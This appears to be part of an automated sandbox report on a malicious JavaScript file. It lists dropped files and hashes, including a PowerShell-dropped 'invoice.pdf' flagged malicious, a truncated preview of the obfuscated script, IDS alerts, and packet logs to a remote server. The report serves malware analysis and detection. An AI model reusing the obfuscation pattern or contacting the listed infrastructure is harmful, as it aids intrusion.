File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\dff85aa9-e8a4-4202-a9d8-c6dcfeb576ab.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R077WLaGZ7wYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs03WLaGZw
MD5:	8B9FA2EC5118087D19CFDB20DA7C4C26
SHA1:	E32D6A1829B18717EF1455B73E88D36E0410EF93
SHA-256:	4782624EA3A4B3C6EB782689208148B636365AA8E5DAF00814FA9AB722259CBD
SHA-512:	662F8664CC3F4E8356D5F5794074642DB65565D40AC9FEA323E16E84EBD4F961701460A1310CC863D1AB38849E84E2142382F5DB88A0E53F97FF66248230F7B9
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (18606), with CRLF line terminators
Entropy (8bit):	4.90991213656724
TrID:
File name:	2906816133204732533.js
File size:	22'062 bytes
MD5:	922925a6d34c88b53ce57233b2d7185f
SHA1:	9377fa6878ccbdafd5aef4b1a6468ee54b3b13d5
SHA256:	82277d0864f46f90fe70ba66c6365855df1446e5720a0476115a31875ce23142
SHA512:	0ee12f18cbdbef69e5cb5142497ce92dd4f0b193a5e6abd09c4d0dee6cc5a85d0a221b2e976d62fa8c1de44d87966a029e9bf412fcecb92e7795405e268a51bf
SSDEEP:	384:QBSVRW2LkJauVJRfsFREsAzC4mrlUedSzNsErfSofGQBUdPJXB+U9/+O7:rRRURwRMphfAdPJXf
TLSH:	73A27494B686922F85E808ACA3F705F478DD0ACC168441F846C0F3D057EDEB5B6D25BD
File Content Preview:	function yfjzs(){qeunsq=[1031,3079,5127,4103,2055,3072];var alhafzdd=this[rpymq+hgiwwvyb+drxpdgx+ocnngdr+yqclveojs+ajelu+auafczzl+gjufyrxor](this[gjlfpoghg+wnkzq+pqiap+drxpdgx+fpagtj+rpymq+gjufyrxor][wczoksru+drxpdgx+yqclveojs+hgiwwvyb+gjufyrxor+yqclveojs

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T21:05:18.052165+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-10T21:05:20.147986+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:05:17.262063980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:17.267199993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:17.267292023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:17.272424936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:17.277560949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.052037954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.052076101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.052090883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.052135944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.052165031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.052211046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.052225113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.052237034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.052251101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.052268982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.052278042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.052284956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.052306890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.052333117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.052365065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.057174921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.098625898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.098676920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.098715067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.098733902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.098798037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.177730083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.177823067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.177860975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.177896976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.177932024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.177948952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.178112984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.178148031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.178167105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.178181887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.178185940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.178221941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.178253889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.178257942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.178325891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.179029942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.179083109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.179119110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.179141045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.179152012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.179187059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.179250002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.179883003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.179939032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.179945946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.179974079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.180011988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.180033922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.185240984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.185276031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.185306072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.185311079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.185345888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.185372114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.223648071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.223670959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.223714113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.264514923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.264563084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.264610052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.302789927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.302843094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.302881002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.302896976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.302913904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.302928925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.302933931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.302946091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.302962065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.302967072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.302999973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.303302050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.303390026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.303406954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.303431988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.303620100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.303647041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.303658962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.303663969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.303705931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.303718090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.303735018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.303771973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.304322004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.304337978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.304354906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.304379940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.304380894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.304398060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.304415941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.304420948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.304433107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.304455996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.305305958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.305322886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.305340052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.305355072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.305357933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.305372953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.305388927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.305397987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.305406094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.305416107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.305459023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.306269884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.306284904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.306302071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.306315899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.306322098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.306334972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.306349993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.306360006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.306368113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.306391001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.307221889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.307239056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.307255983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.307269096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.307271004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.307288885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.307394028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.310472012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.310487986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.310504913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.310533047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.310580969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.310597897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.310619116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.351093054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.372963905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.391249895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.391267061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.391305923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.391329050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.391335964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.391355038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.391372919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.391375065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.391406059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.414468050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.421021938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.428061962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.428081989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.428128004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.428174019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.428189993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.428206921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.428227901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.428699017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.428714991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.428731918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.428735971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.428749084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.428767920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.428776026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.428783894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.428803921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.429053068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.429090023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.429106951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.429122925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.429137945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.429156065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.429521084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.429537058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.429553032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.429563999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.429574966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.429590940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.429598093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.429606915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.429630041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.429630995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.429646969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.429667950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.430402040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.430440903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.430555105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.430569887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.430588007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.430603027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.430610895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.430619001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.430634975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.430638075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.430653095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.430675983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.431366920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.431391001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.431406975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.431407928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.431422949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.431440115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.431446075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.431456089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.431472063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.431476116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.431490898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.431515932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.432297945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.432323933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.432338953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.432341099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.432358027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.432374001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.432380915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.432390928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.432410002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.432420969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.432425022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.432444096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.433278084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.433294058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.433311939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.433316946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.433327913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.433343887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.433348894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.433361053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.433377981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.433387041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.433393955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.433414936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.434052944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.434096098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:05:18.434180975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.434195995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.434212923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.434227943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:05:18.434237003 CET	49704	80	192.168.2.5	193.143.1.205
